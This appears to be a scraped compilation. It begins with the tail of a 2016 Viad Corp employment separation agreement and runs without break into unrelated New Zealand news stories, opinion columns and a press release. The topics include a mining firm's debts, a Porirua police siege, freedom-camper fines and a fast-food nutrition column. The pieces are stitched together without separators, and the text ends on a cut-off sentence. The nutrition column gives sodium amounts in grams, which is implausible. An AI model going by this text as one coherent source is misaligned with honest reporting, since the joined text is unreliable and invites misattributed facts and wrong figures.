14. Costs and Attorneys Fees . The Parties agree that in the event of a material breach of any provision of this Agreement, the arbitrator may, under the proceedings described in paragraph 20 below, award the non-breaching party all costs and attorneys fees incurred in conjunction with enforcement of this Agreement, to the extent permitted by law.

15. Governing Law . Connecticut law shall govern the validity and interpretation of this Agreement, without regard to its choice of law principles

16. No Admission of Wrongdoing . It is understood and agreed by the Parties that the promises, payments and consideration of this Agreement shall not be construed as an admission of any liability or obligation by either party to the other party or any other person.

17. Voluntary . This Agreement is executed voluntarily and without any duress or undue influence on the part or behalf of the Parties hereto. The Parties acknowledge that they have had ample opportunity to have this Agreement reviewed by the counsel of their choice.

18. Newly Discovered Facts. The Parties hereby acknowledge that they may hereafter discover facts different from or in addition to those that they now know or believed to be true when they expressly agreed to assume the risk of the possible discovery of additional facts, and they agree that this Agreement will be and remain effective regardless of such additional or different facts. The Parties expressly agree that this Agreement shall be given full force and effect according to each and all of its express terms and provisions, including those relating to unknown or unsuspected claims, demands, causes of action, governmental, regulatory or enforcement actions, charges, obligations, damages,





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liabilities, and attorneys fees and costs, if any, as well as those relating to any other claims, demands, causes of action, obligations, damages, liabilities, charges, and attorneys fees and costs specified herein.

19. General Terms and Conditions .

A. The section and paragraph headings contained in this Agreement are for reference purposes only and shall not affect in any way the meaning or interpretation of this Agreement.

B. This Agreement may be executed in two counterparts and via facsimile and/or email, each of which shall be deemed an original, all of which together shall constitute one and the same instrument.

C. Should any portion, word, clause, phrase, sentence or paragraph of this Agreement be declared void or unenforceable, such portion shall be considered independent and severable from the remainder, the validity of which shall remain unaffected. This Agreement shall not be construed in favor of one party or against the other.

D. The failure to insist upon compliance with any term, covenant or condition contained in this Agreement shall not be deemed a waiver of that term, covenant or condition, nor shall any waiver or relinquishment of any right or power contained in this Agreement at any one time or more times be deemed a waiver or relinquishment of any right or power at any other time or times.

E. This Agreement, and all the terms and provisions contained herein, shall bind the heirs, personal representatives, successors and assigns of each party, and inure to the benefit of each party, its agents, directors, officers, employees, servants, successors, and assigns.

20. Arbitration . Except to the extent that claims by Employer or Employee are for injunctive relief, any disputes, claims or difference of opinion between Employee and Employer (including all employees, partners or contractors of Employer) involving the formation of this Agreement, or the meaning, interpretation, or application of any provision of this Agreement, or any other dispute between Employee and Employer which relates to or arises out of or relates to the employment relationship or severance thereof between the parties, shall be settled exclusively by binding arbitration to be conducted in Fairfield County, Connecticut or the City of New York, New York, before one neutral arbitrator pursuant to the rules and procedures of the American Arbitration Association or JAMS (as agreed by the parties) applicable to employment-related disputes, and judgment on the award rendered by the arbitrator may be entered and enforced in any court having jurisdiction thereof.

Attestation

PLEASE READ THIS AGREEMENT CAREFULLY. THIS AGREEMENT INCLUDES A RELEASE OF KNOWN AND UNKNOWN CLAIMS.

EMPLOYEE HEREBY STATES THAT, BEING OF LAWFUL AGE AND LEGALLY COMPETENT TO EXECUTE THIS AGREEMENT, EMPLOYEE HAS SIGNED THIS AGREEMENT AS A FREE AND VOLUNTARY ACT AND BEFORE DOING SO EMPLOYEE HAS BECOME FULLY INFORMED OF ITS CONTENT BY READING THE SAME OR HAVING IT READ TO EMPLOYEE SO THAT EMPLOYEE FULLY UNDERSTANDS ITS CONTENT AND EFFECT. OTHER THAN AS STATED HEREIN, THE PARTIES AGREE THAT NO PROMISE OR INDUCEMENT HAS BEEN OFFERED FOR THIS AGREEMENT AND THAT THE PARTIES ARE LEGALLY COMPETENT TO EXECUTE THE SAME.

7 Employee Initials _______

EMPLOYEE FURTHER STATES THAT EMPLOYEE HAS BEEN ADVISED TO CONSULT AN ATTORNEY, THAT EMPLOYEE HAS BEEN GIVEN SUFFICIENT OPPORTUNITY TO REVIEW THIS DOCUMENT WITH AN ATTORNEY BEFORE EXECUTING IT AND THAT EMPLOYEE HAS DONE SO OR HAS VOLUNTARILY ELECTED NOT TO DO SO.

IN WITNESS WHEREOF, the Parties have executed this Agreement on the respective dates set forth below.

Dated: ___________________, 2016 VIAD CORP By: Title Dated: ___________________, 2016 THOMAS M. KUCZYNSKI
Liquidation-prone Mike McDonald has been associated with several mining companies beginning operations on the West Coast.

A new player on the West Coast's burgeoning gold mining scene with links to a controversial Christchurch entrepreneur has been barred from its machinery and its mining site because of outstanding debts.

Koura Mining Ltd began mining on the Greenstone River near Kumara about September, hiring equipment from a number of suppliers including mining equipment specialists Geotech and the Porter group. It employed about 40 staff.

After Koura stopped paying some of its bills in November, Geotech removed keys from its machinery working at the Greenstone mine site.

MARTIN VAN BEYNEN/FAIRFAX NZ Miners are hoping to strike it rich on Westland District Councillor Andy Thompson's land north of Hokitika.

The West Coast Regional Council also served an abatement notice on Koura in January, requiring it to undertake remedial work to reduce "the disturbed area to 4 [hectares]" as specified in Koura's resource consent. Koura has been shut out of the site but says it will deal with the abatement notice once the dispute has been resolved.

Suppliers are growing increasingly anxious about their money.

READ MORE:

* 'Million Dollar Mike' back in the Hokitika gold game

* Businessman Mike McDonald remains optimistic in the face of setbacks

"We gave them a chance and thought things were going OK, but now we are $50,000 down," one said.

Geotech lodged a statutory demand on Koura, which responded by applying to the High Court to have the demand set aside. A hearing is due next month. Koura can be liquidated if the demand is upheld and it doesn't pay.

The angst about Koura comes as gold mining on the coast promises to be one of its saviours as the gold price remains high and costs like diesel are low.

Koura was incorporated on May 23 last year with two directors  Graham Bell and Martin Davie  who both listed their residential address as the same building in Douglas, Isle of Man. Bell resigned on June 24 last year and Davie remains as the sole director.

The documents to set up the company were presented by controversial Christchurch entrepreneur Mike McDonald, also known as Million Dollar Mike, who has continued to lodge company documents and is mentioned in an August 2015 security document as the person acting on Koura's behalf.

McDonald has been the director of three South Island companies that have gone into liquidation, including one that went bust last month. Unsecured creditors in the three liquidations listed debts totalling more than $6 million.

Last year, he or his related entities were still being chased by a British Virgin Islands company trying to recoup a $900,000 investment in one of his companies and a Perth mining equipment firm that paid $250,000 up front for machinery it claims it did not receive. He denies liability.

In a letter from Koura's lawyer, Simon Munro, the company said McDonald was engaged by the company as a mining consultant but had never been an employee, shareholder or director. Correspondence sighted by Stuff shows in December last year McDonald was presenting himself as the company's "acting mine manager".

Ordinary trade creditors of Koura were owed less than $1m and the level of creditors was "in line with normal activity of an operation such as Koura's", the letter said.

"Koura is in the process of bringing additional capital to New Zealand to pay its creditors and expects to do so shortly."

The letter said Koura was in dispute with Geotech and Vortex Minerals Ltd, which owns the permits for the Greenstone site, and was preparing legal proceedings. Koura had paid both parties significant sums.

"Vortex Minerals has now entered into an arrangement to allow Geotech Ltd to operate the mine at Greenstone River."

Geotech said this was untrue but did not want to comment further.

"Koura has invested approximately $7m in NZ to date," the letter said.

"Since Koura's operation ceased Koura continued to pay approximately 40 staff a full salary and a half salary from February 2016 to date and will continue to do so until Koura's mining operations recommence."

The company has apparently had some success. Royalty statements seen by Stuff show Koura has extracted at least $2.3m worth of gold from the Greenstone to December last year. Koura said none of the proceeds had gone overseas.

McDonald, a former Ernst and Young entrepreneur of the year finalist, was at the helm of MCAM Ltd, which purported to be an international mining company, when it went bust in November 2014, owing unsecured creditors about $1.1m.

The company had entered contracts to buy several farms on the West Coast including Thompson's farm for which it was prepared to pay about $7.5m.

Rodgers Reidy, the liquidator of MCAM, according to its report, negotiated a monetary settlement with McDonald about his conduct as a director. The report said McDonald paid $50,000 upfront as part of the settlement and agreed to make further payments. He defaulted and the liquidators have now obtained a $1.6m judgment against him from the High Court in Christchurch.

Lately, McDonald has been invoicing Koura for his services through an entity called Vorerex Rentals, which is not a New Zealand registered company and appears to be based at his mother-in-law's address.

McDonald, when asked for comment, said: "Print what you like, you always do. However this time you will get your comeuppance, legally and publicly!"

Minerals West Coast manager Phil McKinnel said gold was had been a steady performer and "unsung hero" although stopped short of describing the present climate as a resurgence.

Lower diesel prices and the lower New Zealand dollar had helped make the 60 gold mining operations on the Coast more profitable, he said.
The Richmond site for a proposed Countdown supermarket on the corner of Salisbury and Champion roads.

Nelson city councillors and staff have united to strongly oppose a new Countdown supermarket proposed for just across the city boundary in the Tasman district.

If it went ahead there would be "total chaos", said deputy mayor Paul Matheson at Thursday's planning and regulatory committee meeting.

Senior planning adviser Lisa Gibellini had drafted a submission to the TDC and several councillors spoke firmly in favour of her work.

Gibellini said the supermarket, planned by Progressive Enterprises for the corner of Champion and Salisbury roads, would potentially have serious effects on the transport network in the area.

This features three almost adjoining roundabouts.

READ MORE: Plans for new Richmond Countdown store advance

Gibellini also said another supermarket and other retail and community activities in that location could badly affect the social and economic wellbeing of Stoke.

Councillors voted to back her submission. It asks that the Richmond-based council decline the proposed plan change necessary for the supermarket to be built on the 1.3ha site, which would also include a small-scale retail-commercial development and a community facility such as a medical centre.

"The introduction of a supermarket on that corner - and rumours are rife there will be another enterprise on the the other side which will attract as many if not more [vehicles] - makes those three roundabouts in that area completely redundant."

The area wasn't built for that sort of transport volume, which belonged on Whakatu Drive, built to cater for it, he said.

"I really do think we're going to have a major, major problem if we don't deal with that issue of transport first."

Councillor Matt Lawrey congratulated Gibbellini.

"It's not often in these profit-obsessed times that someone steps up and says 'no' to a major, massive company.

"Too often in New Zealand we take a short-term fast-buck view of the world. This is the opposite of that."

Councillor Mike Ward said there were supermarkets in Richmond and Stoke already.

Another on the proposed site was "at odds with the interests of our community", he said.

"It provides nothing that they don't already have access to close at hand in either direction, but the traffic implications are huge - and I don't think there's an engineering solution to it."

Councillor Ian Barker and committee chairman councillor Brian McGurk also backed the recommendation confirming Gibellini's submission.

McGurk said it was already recognised that the three-roundabout area was a traffic "choke point" and that he too was concerned about the commercial effect on Stoke.

Progressive Enterprises, owned by Australia's Woolworths Ltd, operates the Countdown, SuperValue and Fresh Choice chains.

The Richmond plan requires rezoning the land from residential to commercial. Submissions close on Tuesday April 26.

Meanwhile, the other half of the country's supermarket duopoly, New Zealand-owned Foodstuffs, is working on plans to build a New World supermarket at the opposite end of Richmond, near Three Brothers Corner.

It bought the site in 2007 and it was rezoned commercial in 2014.
Taranaki's ailing energy sector has received a shot in the arm following the $950 million sale of Vector Gas Limited to an Australian investor.

The sale of Vector's gas transmission and distribution assets based outside of Auckland to First State Funds was approved by the Overseas Investment Office earlier this month.

Along with the ownership change, the headquarters of the business, now officially known as First Gas, will move to New Plymouth and be based out of the Vector's Connett Rd West premises.

First Gas interim chief executive and company director Richard Krogh said the sale was good news for the region, which had been feeling the effects of the oil and gas downturn in recent times.

READ MORE:

* Vector in $952m gas sale deal

* Vector completes $952m gas sale deal to Australian investor

"I think it's a really positive step for New Plymouth," he said.

The potential for growth and further investment into the business was an "exciting" prospect for the company, he added.

It will also mean more jobs, Krogh said.

"We'll be creating a full corporate team based here."

Much of the Vector workforce has transferred to First Gas and the company currently employs 120 people, along with 20 or so contractors.

But with the need to create key roles in finance, information technology and the like for its head office, 15 vacancies will be advertised in the coming months.

This will include the appointment of a chief executive, which should be announced within four weeks, Krogh said.

Other staff connected to the business are employed in Wellington, Palmerston North and Hamilton.

Krogh has lived in the region since 2000 and is of Te Atiawa descent.

He is also a director of other key regional companies including Port Taranaki and Parininihi ki Waitotara.

Tasked with overseeing the transition of the company following the sale, Krogh said First Gas was the first major infrastructure asset acquired in New Zealand by its Australian-based owner, which had assets worth NZ$7 billion across Australia and Europe.

Krogh said First State Funds was a "stable, long term owner".

"What this means for us is that they are committed to making further investments into the business."

He said a $100 million project was planned for 2017, which will focus on both a maintenance and renewal programme for the company's network.

Krogh said this funding was being made in order to attract new customers.

First Gas operates more than 2,200km of high pressure gas transmission pipelines and stations that supply natural gas sourced from Taranaki to industrial customers based throughout the North Island.

Included in this list is Ballance, Methanex and dairy processing plants, primarily owned by Fonterra.

It also operates a gas distribution network which comprises 4,800km of pipes which supply more than 60,000 customers with gas across the North Island, including in places like Hamilton and Tauranga.

Krogh said its Australian investor has also agreed to buy the Maui gas pipeline but this sale is subject to the approval of the Overseas Investment Office.

A decision on this should be made shortly, Krogh said.
Neighbouring residents to Kokiri Cres, including Ralph Launiuvao, return home feeling safe after gunman was found dead in a Porirua house.

Silence greeted police through most of the night as they tried to negotiate with a gunman, who they later found dead.

Pita Tekira, 29, is believed to be the man who killed a police dog before barricading himself in a house on Kokiri Cres, Porirua, north of Wellington.

It is believed he shot himself.

ROSS GIBLIN/ FAIRFAX NZ The hearse removing the gunman's body from Kokiri Cres, Porirua.

A police dog named Gazza was shot and killed and an officer injured after he leapt out of a second-storey window of the house on Friday morning, sparking a siege that continued until Saturday morning.

READ MORE:

* Sun sets on Porirua stand-off

* It's over: Porirua siege as it happened

* Tales from the front line

* Shot police dog honoured for bravery

* Police attacked by dog during search at property on Christchurch's Yaldhurst Rd

ROSS GIBLIN\Fairfax Porirua residents from around Kokiri Cr, evacuated to Horouata Marae overnight, discover the man at the centre of the incident is dead.

On Saturday morning police gained access to the ground floor of the house and used a remote camera to confirm Tekira's body was in a room on the upper level. He was alone and there was a firearm present.

Tekira had "put some effort into barricading himself into an upper level of the house", Wellington District Commander Superintendent Sam Hoyle said.

"We'd gone through a long process as part of negotiations. Eventually we knew had to enter and confirm what had happened at the address," Hoyle said.

ROSS GIBLIN/FAIRFAX NZ The neighbourhood where the shooting occurred.

Police had been in communication with Tekira for the best part of the night. The last communication from Tekira was just prior to midnight, Hoyle said.

Police fired no shots during the operation, but "deployed a number of tactical options", including gas canisters, which made loud bangs.

"Despite all our efforts to negotiate with Mr Tekira to seek a safe end to the incident, officers this morning found him dead at the scene.

Stuff.co.nz Police found the gunman's body inside a Porirua house they had surrounded since Friday.

"This is certainly not the outcome that anyone wanted, and our thoughts are now with his whanau as we continue to investigate the circumstances of his death."

A resident who preferred not to be named said the usually-busy street had been "pin-drop quiet" apart from the bangs of the tear gas canisters.

There were no children yelling, and her family and the one next door stayed very quiet.



Odysseus Tipiwai, a 15-year-old local, said Tekira was a nice guy.



He'd only met Pita Tekira a few times, but he didn't expect him to be at the centre of a police stand off.



Tipiwai had seen Tekira around with his kids, and believed Tekira had been living in the neighbourhood since the start of the year.

ROBERT KITCHIN/FAIRFAX NZ A siege following the killing of a police dog has ended, with the gunman found dead.

Police thanked the Porirua community and especially the residents of Kokiri Crescent who had been directly affected by the operation.

"We very much appreciate the community's patience and understanding while police worked to resolve this dangerous situation safely, especially those residents who were unable to return to their homes overnight.

Our thanks also goes to Te Horouta Marae which provided food and accommodation to those residents."

NZ POLICE Pita Rangi Tekira, found dead at a Porirua house where he was holed up.

Police expected the cordons in the area to be lifted once all the necessary scene examinations had taken place.

"However there will continue to be a number of police staff in the area over the coming days while we continue our inquiries into this incident."

The officer injured after jumping to safety from a second story window during the original incident remains in a stable condition in hospital and is receiving medical treatment.

1 of 13 ROSS GIBLIN/FAIRFAX NZ Porirua residents evacuated to Horouata Marae overnight. Nakita Siala, 14 holding her baby niece Alpha Feo. 2 of 13 ROSS GIBLIN/FAIRFAX NZ Helen Feo with her baby niece Alpha Feo, 3 months old, at Horouata Mara. 3 of 13 ROSS GIBLIN/FAIRFAX NZ Cyrus Siala, 8 with a toy gun, at Horouata Marae. He now wants to be a policeman. 4 of 13 ROSS GIBLIN/FAIRFAX NZ residents evacuated to Horouata Marae. Houses near Kokiri Cres were cleared while an armed man and police faced a standoff. 5 of 13 FAIRFAX NZ Superintenent Sam Hoyle confirms the death of the man at centre of the Porirua siege. 6 of 13 ROSS GIBLIN/FAIRFAX NZ Some of the residents evacuated from their homes. 7 of 13 Supplied Members of the armed offenders squad hunt for a man believed to have shot a police dog. 8 of 13 Police surround a house where an armed offender was initially thought to have been hiding. 9 of 13 CAMERON BURNELL/FAIRFAX MEDIA Roads are closed around the scene of the shooting. 10 of 13 CAMERON BURNELL/FAIRFAX MEDIA Police officers and the armed offenders squad are hunting the person who shot and killed a police dog in Porirua. 11 of 13 FACEBOOK Wellington Free Ambulance staff take the injured officer to the waiting helicopter. 12 of 13 CAMERON BURNELL/FAIRFAX MEDIA Police stand guard near the scene of the shooting. 13 of 13 RICHARD NAFATALI Armed police at the standoff in Kokiri Cres, Porirua.

He and his family are also being supported by his police colleagues.

"We also greatly appreciate the many messages of support that we have received for the injured officer and also for Police dog Gazza who died doing his duty," Hoyle said.

'HARROWING DAY'

LAURA DOONEY/Stuff.co.nz Mayor of Porirua Nick Leggett talks about the effects of the siege on the community.

The police officer involved in the incident had leapt from the window after the police dog - called Gazza - was fatally shot.

In a press conference on Friday afternoon Wellington District Commander Superintendent Sam Hoyle said the officer "jumped out the window immediately after the dog was shot to escape the gunman". The officer sustained fractures, he said.

Porirua resident Richard Nafatali said he saw an injured man wearing a police uniform lying on a stretcher being put in a helicopter that landed on Kokiri Cr.

The man didn't look conscious, Nafatali said. "He wasn't even moving."

Hoyle said it had been a "harrowing day" for all. Police were supporting the injured officer and his family, as well as the dog handler.

Gazza, a four-year-old German Shepherd, died at the scene. He had previously survived an attempted strangling while chasing down a criminal in 2015.







SHOTS AND SCREAMS HEARD

Kokiri Cr resident Pania Birch-Stretch said she was making a cup of tea at about 9.30am when she heard a "loud scream" from outside her kitchen window, coming from two doors down.

"I looked out the window and I saw a lady cop and two guy cops running out the driveway."

She said one of the male police officers was carrying a dog, which had been shot.

"All I saw was all this blood dripping from the dog. I rang my friend because I was quite shocked by what was happening, and then I looked out the window and I saw a guy running from the house with a big gun. It was freaky."

She said the gun reminded her of something out of a video game.

The gunman ran off up the street, chased by an armed police officer.

Police and emergency personnel swarmed to the street, and a police officer was taken away about an hour later, Birch-Stretch said.

"I saw a cop getting gurneyed away."

She said as she watched she was on the phone to her friend, shaking and thinking "what the hell?".
A teacher at Witt has kept his job after his bosses read his emails and fired him.

A union leader who tried to take New Plymouth's tertiary college to the Employment Court after bosses read his emails and fired him has reached an agreement that will see him staying on in his job.

John Lawson's allegations against New Plymouth's Western Institute of Technology at Taranaki (Witt) were to be discussed at an urgent case management conference to be arranged through the Employment Relations Authority (ERA).

Lawson claimed he was told he would be leaving his academic job on May 4 following an investigation into his activities as branch president of the Tertiary Education Union (TEU).

Witt claimed he had twice engaged in serious misconduct by discussing the performance of the college's chief executive, Barbara George, with a parliamentary researcher and taking a lead role among union members in moving a vote of no confidence against her last November.

READ MORE:

* Witt academic fails in employment court hearing bid over dismissal

* Witt staff move vote of no confidence in chief executive Barbara George

* MP and staff say no major issues with governance and oversight at Witt

Lawson said he was acting as a representative of the union and its members and the college had no authority to access confidential email communications concerning the TEU.

He claimed his dismissal was unjustified in relation to the Employment Relations Act and a discriminatory action arising from his involvement in union activities.

But he failed to persuade the ERA that his case should be settled by the court.

On Friday Witt issued a statement saying the matter had now been resolved.

It read: "The parties have met and resolved the matters between them.

"Mr Lawson will continue in his position and the parties remain committed to the success of WITT and its students".

"The parties have agreed that this is the only statement that will be made on the matter," the statement added.
New Zealander Tahne Godkin Burke suffered multiple injuries during an alleged kidnapping and assault in Tijuana, Mexico.

The New Zealander allegedly kidnapped and beaten in Mexico has decided to continue with his travels, despite his "nightmarish" experience.

Tahne Godkin Burke, 31, has been recovering in a medical facility in Tijuana following what he described as a "nightmarish" ordeal in which he was beaten in a faeces-covered "torture cell".

He had initially planned to travel from Mexico to South America, a trip he had been saving up to do for several years.

MYTCHALL BRANSGROVE/FAIRFAX NZ Cheryl Godkin has been keeping in touch with her son from Timaru.

Following his alleged kidnapping and beating, Tahne had been weighing up whether to continue with his trip or to return to New Zealand.

He has also been working with a lawyer to get his car back. The car, and his belongings, were impounded and would not be surrendered without a cash payment.

His Timaru-based mother, Cheryl Godkin, said Tahne had indicated in an email to her on Thursday that he had decided to continue with his trip.

"He doesn't want to give up on his dream."

Tahne had to leave the medical facility he was staying at by April 23, she said.

Tahne claimed he got on the wrong side of a drug cartel in Tijuana when he took to selling marijuana on a beach in a bid to recoup his losses after he was allegedly robbed by men dressed as police officers.

He was later drugged, kidnapped, and badly beaten before being released, he said.

While he did not want to pay to have his car released to him, Cheryl believed he would end up doing so.

"I think it's the only thing he can do."

A spokeswoman for the British Embassy in Mexico City said the embassy was aware of the situation and was providing Tahne, who has dual British and New Zealand citizenship, with consular support.

Embassy staff were also in contact with both Tahne's family and local authorities in Tijuana, she said.
Many freedom campers trek to the Coromandel over summer - most from overseas.

Coromandel residents might be incensed that freedom campers have skipped the country owing $82,955.

And the locals should be - though it could have been worse.

The offenders paid up 71 per cent of what they owned in Thames-Coromandel, where freedom campers are thick as thieves.

But that's not what's upsetting District Mayor Glenn Leach.

READ MORE:

* Freedom camping won't be solved by fines and chasing the campers away

* Christchurch locals treat freedom campers 'appallingly'

* Freedom campers stay longer and spend more than other tourists

* Who's responsible for freedom campers?

While unpaid fines are a major issue, the bigger picture stems from the Freedom Camping Act (2011), he said. It allows vehicles without toilets or showers to be defined as campervans.

"Right from day one, we believed the level of certification wasn't high enough.

"We've said this for a long, long time.

"It wasn't to do with the certified vehicles, it was the non-certified vehicles.

"Our concern was non-certified vehicles coming into the Coromandel and using us, really, as a dumping ground."

Or, to put it more bluntly, as a toilet.

And Leach blames Local Government New Zealand, too.

"We've fought hard but I point the finger at Local Government. They're there to support us and they've done sweet bugger all to try to improve this.

"It shouldn't be left to the likes of us, and the NZMCA [New Zealand Motor Caravan Association]."

Local Government New Zealand Vice President Brendan Duffy said Leach is entitled to his criticism, but he disagrees.

Duffy said Local Government is proactive in finding a solution, but it had to go through central government.

"Our role in Local Government New Zealand is to collaborate and support councils who have this significant issue, and determine how we engage to find a solution.

"Clearly, from a local government perspective, we are aware of the challenges. It's fair to acknowledge the Thames-Coromandel Council has a significant issue.

"We all understand this is a challenging issue. Like anybody that comes into our country who rents a motorhome or a sedan car - you break the speed limit, get traffic fines, it creates issues.

"It's not something simply resolved at the foot of local government. It has to be resolved with the agencies of central government as well."

The NZMCA is at least offering the council help on the fines front.

There were 1262 freedom infringements issued in the financial year 2014/2015 in the Coromandel, totalling $252,400 in fines.

NZMCA chief executive Bruce Lochore said the organisation is working with the rental industry, Tourism Holdings Ltd, Local Government and councils to find a way to make misbehaving tourists pay up.

He said one solution was for the rental industry to voluntarily collect the fines for councils at the point of exit. That would mean councils would supply a duplicate copy of the infringement to the campervan rental agency.

"The infringement goes to the person, so if they issue a duplicate copy to the rental companies, when the person hiring the vehicle returns, then they can collect it before they leave the country."

Lochore said one of the main reasons the Freedom Camping Act was created was so councils had access to an infringement regime.

But this was not going to plan.

"The majority of the fines are from overseas visitors and the rental industry. So when they leave they country, it is very difficult and cost prohibitive to get the collection of the money.

"That puts at risk the deterrent of the infringement regime, so actually having the rental industry be part of the solution is the best way to go here."

Lochore said the issue was raised with him last summer by various councils predominantly in the South Island.

"The Thames-Coromandel is one of those that was also put in the same category as South Island destinations like Tasman, and the West Coast, where they have a high volume of visitors.

"They're key tourist destinations for both domestic and international visitors, and with the sheer volume of visitors, there were going to be some issues - and collecting fines was one of them."

The Tourism Industry Association New Zealand is running a freedom campers forum next week in Wellington and Lochore will attend.

"We've put this issue up as part of discussion. There will be the TIA, rental industry and councils there also," he said.

Leach said he is all about protecting the Coromandel.

"It's not an emotional debate, it is about looking after the environment we want to protect. It's about sustainability.

"I can take you to some places, and what disgusting messes they have left. We want it to stop.

"Yes, this is a big part of our industry. But we are not going to have non-self-contained units park up on our beaches and rivers.

"It's a big, big, big thing and we need to take care of it."

*Comments have now closed on this story*

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Todd Talks

By Todd Muller

I was asked by the Mount RSA on Saturday to open Fox Hole  their new, family-orientated cafe.

It was a special occasion that gave me pause to reflect on the value RSA members give to their community.

As a nation and as a community, we focus on their service to our country in foreign fields in both hot and cold theatres of war.

Their sacrifice was selfless and its right we honour them, as we do with our solemnity on Anzac morning.

However, I think we should also honour the service they rendered upon their return.

My local Mount RSA was built in 1943 from the returned servicemens labour along with those who stayed behind.

The war generation was the personification of helping a neighbour in need, quietly, understatedly; and their culture of service thankfully pervades our community still.

As I looked out of the crowd listening at the RSA I was struck by the years of service and the multitudes of little differences their collective acts of kindness and volunteerism have made to our community.

When we salute our returned servicemen and women, we should salute their culture of ongoing, all-of-life service that they still example today.

Can I recommend you make a visit to the Mount RSA, and its equally impressive Tauranga branch. It is a welcoming place with extraordinary history covering its walls, from flags, to the names of the fallen, to portraits of the great and good of both those we lost and those who have lived a full life. But as with all poignant memories, they live only in the recollection of the living.

For no matter how impressive a portrait, how striking a regiment flag, they remain silent artefacts lost in history if they are not observed, recollected and remembered by us all.

Thats why, for me, our RSAs are so special. Increasingly family-orientated, getting the mix right of remembrance and relevance  that is the true test of any RSA club. Above all, its the people. Club people, service people, local people who continue to breathe life into our history and our today.

Lest we forget, lest we stop striving to emulate.
Are you ready?

with Leigh Elder

Last weeks TV One Sunday programme was focused on taking a look at obesity and what we should be doing about it. And guess what, surprise, surprise, the fast food industry was the number one target again.

Well, we beg to differ and think we have a strong case. Why? Judge for yourself!

John Hudson interviewed the usual suspects, including Dr Robyn Toomath, who headed up the Fight Against Obesity campaign for 15 years before resigning, bemoaning the fact she got nowhere with solving the problem.

And 15 years later shes still trotting out the same ineffective, generic messages. What NZ is not doing is controlling the food industry. And We need to restrict junk food, advertising to kids and lower fat, sugar and salt levels.

And, she does not advocate people taking personal responsibility. What we believe is the reverse  that this is actually the way to solve this whole problem. The problem is, for anyone to take personal responsibility to make the right food and drink choices, they first need to know how. We take an A and E approach and no, not the medical version, and would actually team up with the all-powerful fast-food industry to get them to help out.

Kiwis spend billions of dollars a year buying fast-food and spend increasing lengths of time hanging out in cafes and other establishments. I was having coffee recently at The Coffee Club, Downtown the Mount, while I was reading The Herald. And 18 out of the 20 other people in the cafe were on their phones or other devices. In this bourgeoning connected up trend also lies part of the solution.

Our A and E stands for awareness and education and Eat For Keeps (EFK) have helped countless people with weight, diabetes and metabolic issues by first making them aware of the health risks associated with taking the wrong nutrition options over the long-term, and educating them to help make the right choices.



This new found clarity, is a powerful tool in helping people take responsibility and ownership of their own food and drink lifestyles.

Back to phones and other devices. In the past we have delivered our messages through our website, books and face-to-face meetings. This new digital age opens up a completely new dimension where people while they are out and about can learn and practice their skills, on the hoof wherever they may be.

A quick google while, at say a McDonalds, will give a punter nutritional info on any of the food items on offer, including ingredients and even a list of allergens like nuts. So, lets turn this conversation on its head, and instead of beating up fast-foods outlets, we actually look at some of the other benefits that they may offer.

What should we be looking for?

Dr Toomaths prescription for counting calories as the definitive answer is too simplistic and flawed, as what you see on a label is often inaccurate. Up to 25% of calories can be lost during digestion, and texture, cooking, fibre, GI, effect on hormones, which will obviously vary from person to person are also variable factors.

Instead we should quite simply look at why do we eat? Well, hopefully to provide us with enough fuel by eating a healthy, tasty, sustaining food and drink mix which will keep us full for a reasonable period of time and give us sustained energy.

Keeping it really simple, we are looking for a good balance of protein, fat and carbohydrate. Common-sense tells us that we also need to keep an eye on obviously high levels of added salt and sugar and super-sized portions. Lets take a look at a few examples from McDonalds, remember that protein is the most expensive commodity and keeps us fuller for longer, and take a benchmark of 30% for both protein and fat and 40% for carbs.

Chicken wrap with Aioli dressing  A bit over 100 g in weight, with grilled chicken and salad type ingredients. Protein 33%, fat 23% and carbs 45%. Sodium a reasonable 346 g.

Warm chicken salad  A bit over 300 g with chicken, red cabbage, tomato, lettuce and carrot. Protein 51%, fat 11%, carbs 38%, sodium 334 g.

Hamburger  Onion, pickle, ketchup, beef patty and bun. Protein  28%, fat 19%, carbs, 53% sodium 525 g.

The Boss  This 800 calories plus, double cheese burger comes in at protein 37%, fat 37% and carbs 26%.

So, impressive levels of protein and reasonably well balanced overall. Common sense tells us that The Boss is a treat food, and this is where a lot of people come unstuck when they order The Boss, large fries and wash it all down with a sugary Krusher.

In our experience, many people are confused about what they should be eating and drinking and once they get some clarity and skills, become really good at quickly summing up what will work for them. And hey, they also have their mobile phone on hand to check things out.

On the other hand, there are also many other people who dont really give a stuff, and I know of type 2 diabetics who are happy to inject more insulin to compensate for the giant scone they have just eaten.

It all comes down to personal choice and the more we can help kiwis across the country get good skills in this area, the more chance we have of beating these epidemics.

And finally

Whilst I have great admiration for Dr Toomaths expert medical skills and passion and tenacity in her drive to help turn around these epidemics, comments like the dairy across the road from that school needs to go are completely out of whack. And this continual beating up of the fast food industry, where we need an uprising of the people, more control over this industry, and should tax the daylights out of selected food and drink items will inevitably be ineffective.

Making tobacco unpopular and applying high tariffs on it was a no brainer as the link between smoking and serious health issues is totally obvious. Trying to make selected foods unpopular will not work and the fast food industry will just keep booming along.

As with the McDonalds examples, there are many really excellent food and drink options to be found in outlets like this across the country. As John Key says,educate people to be more active and understanding whats in their food.

Nearly all businesses understand and will follow the mantra that doing good is good for business and this is certainly our experience in putting ideas to food service outlets and working with them. Their combined expertise around food and drink is significant, they collectively make squillions of dollars and could be potentially hugely influential in helping customers make the right choices and tweaking some of their own recipes to help make this happen.

There you have it  if you cant beat them, join them!

Footnote : Im keen to get a conversation going around all this, so make a comment.

Whilst I will still continue to write about nutrition and health issues, Im also keen to write about many other topics. Ive always been a bit of a stirrer and enjoy a bit of black humour, so keep an eye out for my new blog.

Contact : leigh@eatforkeeps.com
The Waikato District Health Board fears more people could be infected with measles following the discovery of two more cases  taking the total of confirmed cases in the region to five.

The most recent case attended the Tainui Waka Kapa Haka festival while infectious, which took place at the Claudelands Event Centre in Hamilton on Saturday, April 16.
Customs Minister Nicky Wagner says its been another successful yachting season with 653 yachts visiting New Zealand.

Im pleased Customs joint initiatives with the marine industry are helping attract yachts to our shores and allowing them to remain here for longer.

Its great to have these yachts arriving in New Zealand to enjoy our beautiful natural environment, renowned hospitality and marine services, and maximise on our tax treatment of overseas yachts.

Customs has a range of maritime patrols organised to ensure the high rates of compliance seen during summers arrivals are mirrored during departures. Customs maritime patrols offer assistance and keep watch on any suspicious illegal activity as well as helping to keep yachts safe.

Its good to see Customs working so closely with partner agencies to keep our country, people and visitors safe, Ms Wagner says.

Source: Office of Nicky Wagner.
The following can be attributed to Superintendent Sam Hoyle, Wellington Police District Commander:

